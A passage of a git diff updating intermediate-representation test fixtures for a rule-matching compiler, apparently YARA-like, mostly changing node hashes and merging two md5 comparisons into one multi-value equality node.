0x59766f1bf6b1b0be n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) - 1: PATTERN_COUNT PatternIdx(0) -- hash: 0x295099eb5fc21fe8 - 41: FOR_IN -- hash: 0xc59e62932f94ad94 + 1: PATTERN_COUNT PatternIdx(0) -- hash: 0x65f54f62feacaadb + 41: FOR_IN -- hash: 0xbf58bc8329188c7a n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } count: Var { frame_id: 2, ty: integer, index: 10 } item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(0) - 3: PATTERN_COUNT PatternIdx(1) -- hash: 0xde2e40b1c012bed4 - 40: FOR_IN -- hash: 0x43fb933d283b1ad6 + 3: PATTERN_COUNT PatternIdx(1) -- hash: 0x1ad2f62962fd49c8 + 40: FOR_IN -- hash: 0xa7811782ead46067 n: Var { frame_id: 3, ty: integer, index: 14 } i: Var { frame_id: 3, ty: integer, index: 15 } max_count: Var { frame_id: 3, ty: integer, index: 16 } count: Var { frame_id: 3, ty: integer, index: 17 } item: Var { frame_id: 3, ty: array, index: 18 } - 6: FIELD_ACCESS -- hash: 0x874667d74d3e43c4 + 6: FIELD_ACCESS -- hash: 0xab8f64a62e39c51f 4: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 5: SYMBOL Field { index: 19, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 39: AND -- hash: 0x7633aa85f81db2b - 12: LE -- hash: 0xe9f7e368f4dece6e - 9: FIELD_ACCESS -- hash: 0x6542d2870b7a1b93 + 39: AND -- hash: 0x496db7591cbb8d43 + 12: LE -- hash: 0x5cc1e1e9959297f5 + 9: FIELD_ACCESS -- hash: 0x6f81c328e91a0d99 7: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 8: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 11: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x96059519ea655987 + 11: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x607b2cb4aa942ce8 10: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 22: LE -- hash: 0xe67373d7ab0aa8d1 - 14: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x96059519ea655987 + 22: LE -- hash: 0x1223c166297db66e + 14: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x607b2cb4aa942ce8 13: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 21: ADD -- hash: 0xa39958692f6255bc - 17: FIELD_ACCESS -- hash: 0x6542d2870b7a1b93 + 21: ADD -- hash: 0x9ad7984defcabb68 + 17: FIELD_ACCESS -- hash: 0x6f81c328e91a0d99 15: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 16: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 20: FIELD_ACCESS -- hash: 0x1a20794d6fcaba80 + 20: FIELD_ACCESS -- hash: 0x245f69ef4d6aac86 18: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 19: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 28: LE -- hash: 0x143737c7283684f8 - 25: FIELD_ACCESS -- hash: 0x6542d2870b7a1b93 + 28: LE -- hash: 0x87013647c8ea4e7e + 25: FIELD_ACCESS -- hash: 0x6f81c328e91a0d99 23: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 24: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 27: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0xc044e9781dbd1010 + 27: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0x8aba8112ddebe371 26: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } - 38: LE -- hash: 0x184730be6c281364 - 30: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0xc044e9781dbd1010 + 38: LE -- hash: 0x43f77e4cee9b2100 + 30: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0x8aba8112ddebe371 29: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } - 37: ADD -- hash: 0xa39958692f6255bc - 33: FIELD_ACCESS -- hash: 0x6542d2870b7a1b93 + 37: ADD -- hash: 0x9ad7984defcabb68 + 33: FIELD_ACCESS -- hash: 0x6f81c328e91a0d99 31: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 32: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 36: FIELD_ACCESS -- hash: 0x1a20794d6fcaba80 + 36: FIELD_ACCESS -- hash: 0x245f69ef4d6aac86 34: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 35: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } diff --git a/lib/src/compiler/ir/tests/testdata/2.hoisting.ir b/lib/src/compiler/ir/tests/testdata/2.hoisting.ir index eca01095a..63a7ab339 100644 --- a/lib/src/compiler/ir/tests/testdata/2.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/2.hoisting.ir @@ -1,25 +1,25 @@ RULE test - 44: WITH -- hash: 0x7c91d0cccb598c8a - 43: PATTERN_COUNT PatternIdx(1) -- hash: 0xde2e40b1c012bed4 - 46: WITH -- hash: 0x43de2be682efd642 - 45: FIELD_ACCESS -- hash: 0x874667d74d3e43c4 + 44: WITH -- hash: 0xd484783ac1cd815b + 43: PATTERN_COUNT PatternIdx(1) -- hash: 0x1ad2f62962fd49c8 + 46: WITH -- hash: 0xf3f5c815b9841811 + 45: FIELD_ACCESS -- hash: 0xab8f64a62e39c51f 4: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 5: SYMBOL Field { index: 19, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 42: FOR_IN -- hash: 0x69ea51737f0ab559 + 42: FOR_IN -- hash: 0xd02d06ccb7fc5c6a n: Var { frame_id: 1, ty: integer, index: 2 } i: Var { frame_id: 1, ty: integer, index: 3 } max_count: Var { frame_id: 1, ty: integer, index: 4 } count: Var { frame_id: 1, ty: integer, index: 5 } item: Var { frame_id: 1, ty: unknown, index: 6 } 0: CONST integer(0) - 1: PATTERN_COUNT PatternIdx(0) -- hash: 0x295099eb5fc21fe8 - 48: WITH -- hash: 0xf4e938698d476707 - 47: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0xe778aa6811ef055e + 1: PATTERN_COUNT PatternIdx(0) -- hash: 0x65f54f62feacaadb + 48: WITH -- hash: 0xdaf84256881abca6 + 47: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0xb1ee4202d21dd8bf 10: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 7 }, type_value: integer(unknown) } - 50: WITH -- hash: 0xaed4c90a75f90eb3 - 49: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0xe778aa6811ef055e + 50: WITH -- hash: 0x3c65de6d110a405e + 49: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0xb1ee4202d21dd8bf 13: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 7 }, type_value: integer(unknown) } - 41: FOR_IN -- hash: 0x49d99373f68e4c7 + 41: FOR_IN -- hash: 0x72a3e6d6fa9e6ffa n: Var { frame_id: 2, ty: integer, index: 11 } i: Var { frame_id: 2, ty: integer, index: 12 } max_count: Var { frame_id: 2, ty: integer, index: 13 } @@ -27,46 +27,46 @@ RULE test item: Var { frame_id: 2, ty: unknown, index: 15 } 2: CONST integer(0) 3: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 0 }, type_value: integer(unknown) } - 52: WITH -- hash: 0xb5960acd8155f7b4 - 51: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0x632b14146cd067bf + 52: WITH -- hash: 0xaf14c6bcc1f9eab8 + 51: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0x2da0abaf2cff3b20 26: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 16 }, type_value: integer(unknown) } - 54: WITH -- hash: 0x3c39252d4e265253 - 53: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0x632b14146cd067bf + 54: WITH -- hash: 0x8aa04f592e9b1bb6 + 53: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0x2da0abaf2cff3b20 29: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 16 }, type_value: integer(unknown) } - 40: FOR_IN -- hash: 0x9e7b3fb228ae7b95 + 40: FOR_IN -- hash: 0xfc0a4c962b9e277d n: Var { frame_id: 3, ty: integer, index: 20 } i: Var { frame_id: 3, ty: integer, index: 21 } max_count: Var { frame_id: 3, ty: integer, index: 22 } count: Var { frame_id: 3, ty: integer, index: 23 } item: Var { frame_id: 3, ty: array, index: 24 } 6: SYMBOL Var { var: Var { frame_id: 0, ty: array, index: 1 }, type_value: array } - 39: AND -- hash: 0xf26f57a007df86f2 - 12: LE -- hash: 0x683a1d546192136c - 9: FIELD_ACCESS -- hash: 0xee456a1e00eeb5a2 + 39: AND -- hash: 0x98f504104696a35a + 12: LE -- hash: 0x52f5085e60ce3152 + 9: FIELD_ACCESS -- hash: 0xf8845abfe28ea7a8 7: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 25 }, type_value: struct } 8: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 11: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 9 }, type_value: integer(unknown) } - 22: LE -- hash: 0xb98d168c82aae133 + 22: LE -- hash: 0x6394e37860c55fd6 14: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 10 }, type_value: integer(unknown) } - 21: ADD -- hash: 0x8f76cc0b5cc1808c - 17: FIELD_ACCESS -- hash: 0xee456a1e00eeb5a2 + 21: ADD -- hash: 0x86b50bf01d29e638 + 17: FIELD_ACCESS -- hash: 0xf8845abfe28ea7a8 15: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 25 }, type_value: struct } 16: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 20: FIELD_ACCESS -- hash: 0xa32310e4653f548f + 20: FIELD_ACCESS -- hash: 0xad62018646df4695 18: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 25 }, type_value: struct } 19: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 28: LE -- hash: 0x56bffd34177d98b5 - 25: FIELD_ACCESS -- hash: 0xee456a1e00eeb5a2 + 28: LE -- hash: 0x417ae83e16b9b69b + 25: FIELD_ACCESS -- hash: 0xf8845abfe28ea7a8 23: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 25 }, type_value: struct } 24: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 27: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 18 }, type_value: integer(unknown) } - 38: LE -- hash: 0xe1c6482c7820f9d + 38: LE -- hash: 0xb824316ea59c8e3f 30: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 19 }, type_value: integer(unknown) } - 37: ADD -- hash: 0x8f76cc0b5cc1808c - 33: FIELD_ACCESS -- hash: 0xee456a1e00eeb5a2 + 37: ADD -- hash: 0x86b50bf01d29e638 + 33: FIELD_ACCESS -- hash: 0xf8845abfe28ea7a8 31: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 25 }, type_value: struct } 32: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 36: FIELD_ACCESS -- hash: 0xa32310e4653f548f + 36: FIELD_ACCESS -- hash: 0xad62018646df4695 34: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 25 }, type_value: struct } 35: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } diff --git a/lib/src/compiler/ir/tests/testdata/2.ir b/lib/src/compiler/ir/tests/testdata/2.ir index 8ef5c115b..bd350f241 100644 --- a/lib/src/compiler/ir/tests/testdata/2.ir +++ b/lib/src/compiler/ir/tests/testdata/2.ir @@ -1,60 +1,60 @@ RULE test - 42: FOR_IN -- hash: 0x5a8b495d9ca0365f + 42: FOR_IN -- hash: 0x59766f1bf6b1b0be n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) - 1: PATTERN_COUNT PatternIdx(0) -- hash: 0x295099eb5fc21fe8 - 41: FOR_IN -- hash: 0xc59e62932f94ad94 + 1: PATTERN_COUNT PatternIdx(0) -- hash: 0x65f54f62feacaadb + 41: FOR_IN -- hash: 0xbf58bc8329188c7a n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } count: Var { frame_id: 2, ty: integer, index: 10 } item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(0) - 3: PATTERN_COUNT PatternIdx(1) -- hash: 0xde2e40b1c012bed4 - 40: FOR_IN -- hash: 0x43fb933d283b1ad6 + 3: PATTERN_COUNT PatternIdx(1) -- hash: 0x1ad2f62962fd49c8 + 40: FOR_IN -- hash: 0xa7811782ead46067 n: Var { frame_id: 3, ty: integer, index: 14 } i: Var { frame_id: 3, ty: integer, index: 15 } max_count: Var { frame_id: 3, ty: integer, index: 16 } count: Var { frame_id: 3, ty: integer, index: 17 } item: Var { frame_id: 3, ty: array, index: 18 } - 6: FIELD_ACCESS -- hash: 0x874667d74d3e43c4 + 6: FIELD_ACCESS -- hash: 0xab8f64a62e39c51f 4: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 5: SYMBOL Field { index: 19, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 39: AND -- hash: 0x7633aa85f81db2b - 12: LE -- hash: 0xe9f7e368f4dece6e - 9: FIELD_ACCESS -- hash: 0x6542d2870b7a1b93 + 39: AND -- hash: 0x496db7591cbb8d43 + 12: LE -- hash: 0x5cc1e1e9959297f5 + 9: FIELD_ACCESS -- hash: 0x6f81c328e91a0d99 7: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 8: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 11: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x96059519ea655987 + 11: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x607b2cb4aa942ce8 10: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 22: LE -- hash: 0xe67373d7ab0aa8d1 - 14: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x96059519ea655987 + 22: LE -- hash: 0x1223c166297db66e + 14: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x607b2cb4aa942ce8 13: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 21: ADD -- hash: 0xa39958692f6255bc - 17: FIELD_ACCESS -- hash: 0x6542d2870b7a1b93 + 21: ADD -- hash: 0x9ad7984defcabb68 + 17: FIELD_ACCESS -- hash: 0x6f81c328e91a0d99 15: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 16: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 20: FIELD_ACCESS -- hash: 0x1a20794d6fcaba80 + 20: FIELD_ACCESS -- hash: 0x245f69ef4d6aac86 18: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 19: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 28: LE -- hash: 0x143737c7283684f8 - 25: FIELD_ACCESS -- hash: 0x6542d2870b7a1b93 + 28: LE -- hash: 0x87013647c8ea4e7e + 25: FIELD_ACCESS -- hash: 0x6f81c328e91a0d99 23: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 24: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 27: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0xc044e9781dbd1010 + 27: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0x8aba8112ddebe371 26: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } - 38: LE -- hash: 0x184730be6c281364 - 30: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0xc044e9781dbd1010 + 38: LE -- hash: 0x43f77e4cee9b2100 + 30: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0x8aba8112ddebe371 29: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } - 37: ADD -- hash: 0xa39958692f6255bc - 33: FIELD_ACCESS -- hash: 0x6542d2870b7a1b93 + 37: ADD -- hash: 0x9ad7984defcabb68 + 33: FIELD_ACCESS -- hash: 0x6f81c328e91a0d99 31: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 32: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 36: FIELD_ACCESS -- hash: 0x1a20794d6fcaba80 + 36: FIELD_ACCESS -- hash: 0x245f69ef4d6aac86 34: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 35: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } diff --git a/lib/src/compiler/ir/tests/testdata/2.no-folding.ir b/lib/src/compiler/ir/tests/testdata/2.no-folding.ir index 84c339958..bd350f241 100644 --- a/lib/src/compiler/ir/tests/testdata/2.no-folding.ir +++ b/lib/src/compiler/ir/tests/testdata/2.no-folding.ir @@ -1,60 +1,60 @@ RULE test - 42: FOR_IN -- hash: 0xda878d9eb553a61e + 42: FOR_IN -- hash: 0x59766f1bf6b1b0be n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) - 1: PATTERN_COUNT PatternIdx(0) -- hash: 0xc1bc033c6a64ce89 - 41: FOR_IN -- hash: 0x2c8f1ee17fe69986 + 1: PATTERN_COUNT PatternIdx(0) -- hash: 0x65f54f62feacaadb + 41: FOR_IN -- hash: 0xbf58bc8329188c7a n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } count: Var { frame_id: 2, ty: integer, index: 10 } item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(0) - 3: PATTERN_COUNT PatternIdx(1) -- hash: 0x7699aa02ceb56d76 - 40: FOR_IN -- hash: 0x178ae2b47067f224 + 3: PATTERN_COUNT PatternIdx(1) -- hash: 0x1ad2f62962fd49c8 + 40: FOR_IN -- hash: 0xa7811782ead46067 n: Var { frame_id: 3, ty: integer, index: 14 } i: Var { frame_id: 3, ty: integer, index: 15 } max_count: Var { frame_id: 3, ty: integer, index: 16 } count: Var { frame_id: 3, ty: integer, index: 17 } item: Var { frame_id: 3, ty: array, index: 18 } - 6: FIELD_ACCESS -- hash: 0x22bd483d721ed399 + 6: FIELD_ACCESS -- hash: 0xab8f64a62e39c51f 4: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 5: SYMBOL Field { index: 19, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 39: AND -- hash: 0xff21eb12445aa4e7 - 12: LE -- hash: 0x1b9ea398e3c8553e - 9: FIELD_ACCESS -- hash: 0xa3faf472ce461d52 + 39: AND -- hash: 0x496db7591cbb8d43 + 12: LE -- hash: 0x5cc1e1e9959297f5 + 9: FIELD_ACCESS -- hash: 0x6f81c328e91a0d99 7: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 8: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 11: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x7cb6e22690df7f1b + 11: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x607b2cb4aa942ce8 10: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 22: LE -- hash: 0x60fd6a25db3c471e - 14: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x7cb6e22690df7f1b + 22: LE -- hash: 0x1223c166297db66e + 14: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x607b2cb4aa942ce8 13: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 21: ADD -- hash: 0x24b1906c95554907 - 17: FIELD_ACCESS -- hash: 0xa3faf472ce461d52 + 21: ADD -- hash: 0x9ad7984defcabb68 + 17: FIELD_ACCESS -- hash: 0x6f81c328e91a0d99 15: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 16: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 20: FIELD_ACCESS -- hash: 0x58d89b393296bc3f + 20: FIELD_ACCESS -- hash: 0x245f69ef4d6aac86 18: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 19: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 28: LE -- hash: 0x45ddf7f717200bc7 - 25: FIELD_ACCESS -- hash: 0xa3faf472ce461d52 + 28: LE -- hash: 0x87013647c8ea4e7e + 25: FIELD_ACCESS -- hash: 0x6f81c328e91a0d99 23: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 24: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 27: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0xa6f63684c43735a4 + 27: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0x8aba8112ddebe371 26: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } - 38: LE -- hash: 0x92d1270c9c59b1b0 - 30: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0xa6f63684c43735a4 + 38: LE -- hash: 0x43f77e4cee9b2100 + 30: PATTERN_OFFSET PatternIdx(1) INDEX -- hash: 0x8aba8112ddebe371 29: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } - 37: ADD -- hash: 0x24b1906c95554907 - 33: FIELD_ACCESS -- hash: 0xa3faf472ce461d52 + 37: ADD -- hash: 0x9ad7984defcabb68 + 33: FIELD_ACCESS -- hash: 0x6f81c328e91a0d99 31: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 32: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 36: FIELD_ACCESS -- hash: 0x58d89b393296bc3f + 36: FIELD_ACCESS -- hash: 0x245f69ef4d6aac86 34: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 19 }, type_value: struct } 35: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } diff --git a/lib/src/compiler/ir/tests/testdata/3.cse.ir b/lib/src/compiler/ir/tests/testdata/3.cse.ir index e79e1bca5..3e3e7346b 100644 --- a/lib/src/compiler/ir/tests/testdata/3.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/3.cse.ir @@ -1,13 +1,6 @@ RULE test - 12: OR -- hash: 0xd63a6b052500bffc - 5: EQ -- hash: 0xf6558ac091593c37 - 3: FN_CALL hash.md5@offset:i,size:i@s:N32:Lu -- hash: 0x1816d7edf1a573dc - 1: CONST integer(0) - 2: FILESIZE - 4: CONST string("feba6c919e3797e7778e8f2e85fa033d") - 11: EQ -- hash: 0x4434c578c46781a4 - 9: FN_CALL hash.md5@offset:i,size:i@s:N32:Lu -- hash: 0x1816d7edf1a573dc - 7: CONST integer(0) - 8: FILESIZE - 10: CONST string("275876e34cf609db118f3d84b799a790") + 12: EQ_MANY LiteralSetId(0) -- hash: 0x6889e33a56988a21 + 3: FN_CALL hash.md5@offset:i64,size:i64@s:N32:Lu -- hash: 0xf0349ca7d4ea8d18 + 1: CONST integer(0) + 2: FILESIZE diff --git a/lib/src/compiler/ir/tests/testdata/3.hoisting.ir b/lib/src/compiler/ir/tests/testdata/3.hoisting.ir index e79e1bca5..3e3e7346b 100644 --- a/lib/src/compiler/ir/tests/testdata/3.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/3.hoisting.ir @@ -1,13 +1,6 @@ RULE test - 12: OR -- hash: 0xd63a6b052500bffc - 5: EQ -- hash: 0xf6558ac091593c37 - 3: FN_CALL hash.md5@offset:i,size:i@s:N32:Lu -- hash: 0x1816d7edf1a573dc - 1: CONST integer(0) - 2: FILESIZE - 4: CONST string("feba6c919e3797e7778e8f2e85fa033d") - 11: EQ -- hash: 0x4434c578c46781a4 - 9: FN_CALL hash.md5@offset:i,size:i@s:N32:Lu -- hash: 0x1816d7edf1a573dc - 7: CONST integer(0) - 8: FILESIZE - 10: CONST string("275876e34cf609db118f3d84b799a790") + 12: EQ_MANY LiteralSetId(0) -- hash: 0x6889e33a56988a21 + 3: FN_CALL hash.md5@offset:i64,size:i64@s:N32:Lu -- hash: 0xf0349ca7d4ea8d18 + 1: CONST integer(0) + 2: FILESIZE diff --git a/lib/src/compiler/ir/tests/testdata/3.ir b/lib/src/compiler/ir/tests/testdata/3.ir index e79e1bca5..3e3e7346b 100644 --- a/lib/src/compiler/ir/tests/testdata/3.ir +++ b/lib/src/compiler/ir/tests/testdata/3.ir @@ -1,13 +1,6 @@ RULE test - 12: OR -- hash: 0xd63a6b052500bffc - 5: EQ -- hash: 0xf6558ac091593c37 - 3: FN_CALL hash.md5@offset:i,size:i@s:N32:Lu -- hash: 0x1816d7edf1a573dc - 1: CONST integer(0) - 2: FILESIZE - 4: CONST string("feba6c919e3797e7778e8f2e85fa033d") - 11: EQ -- hash: 0x4434c578c46781a4 - 9: FN_CALL hash.md5@offset:i,size:i@s:N32:Lu -- hash: 0x1816d7edf1a573dc - 7: CONST integer(0) - 8: FILESIZE - 10: CONST string("275876e34cf609db118f3d84b799a790") + 12: EQ_MANY LiteralSetId(0) -- hash: 0x6889e33a56988a21 + 3: FN_CALL hash.md5@offset:i64,size:i64@s:N32:Lu -- hash: 0xf0349ca7d4ea8d18 + 1: CONST integer(0) + 2: FILESIZE diff --git a/lib/src/compiler/ir/tests/testdata/3.no-folding.ir b/lib/src/compiler/ir/tests/testdata/3.no-folding.ir index ec3f58756..3e3e7346b 100644 --- a/lib/src/compiler/ir/tests/testdata/3.no-folding.ir +++ b/lib/src/compiler/ir/tests/testdata/3.no-folding.ir @@ -1,13 +1,6 @@ RULE test - 12: OR -- hash: 0x3943b5785dde551a - 5: EQ -- hash: 0x7e5484873ebb2659 - 3: FN_CALL hash.md5@offset:i,size:i@s:N32:Lu -- hash: 0xeaf33e3e6d085dc7 - 1: CONST integer(0) - 2: FILESIZE - 4: CONST string("feba6c919e3797e7778e8f2e85fa033d") - 11: EQ -- hash: 0xcc33bf3f71c96bc5 - 9: FN_CALL hash.md5@offset:i,size:i@s:N32:Lu -- hash: 0xeaf33e3e6d085dc7 - 7: CONST integer(0) - 8: FILESIZE - 10: CONST string("275876e34cf609db118f3d84b799a790") + 12: EQ_MANY LiteralSetId(0) -- hash: 0x6889e33a56988a21 + 3: FN_CALL hash.md5@offset:i64,size:i64@s:N32:Lu -- hash: 0xf0349ca7d4ea8d18 + 1: CONST integer(0) + 2: FILESIZE diff --git a/lib/src/compiler/ir/tests/testdata/4.cse.ir b/lib/src/compiler/ir/tests/testdata/4.cse.ir index d15b08c5c..be398b4f8 100644 --- a/lib/src/compiler/ir/tests/testdata/4.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/4.cse.ir @@ -1,10 +1,10 @@ RULE test - 52: WITH -- hash: 0x6d7701fe081d983f - 2: FIELD_ACCESS -- hash: 0x9536d86a9309eb4b + 52: WITH -- hash: 0x302eadecacc3bc8d + 2: FIELD_ACCESS -- hash: 0xb97fd53970056ca6 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 12, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 51: AND -- hash: 0x9bd969653383cc22 - 22: FOR_IN -- hash: 0x2c6eaee06da3665a + 51: AND -- hash: 0x1e8700fdd5777936 + 22: FOR_IN -- hash: 0xf8a1d207947c2cf4 n: Var { frame_id: 2, ty: integer, index: 1 } i: Var { frame_id: 2, ty: integer, index: 2 } max_count: Var { frame_id: 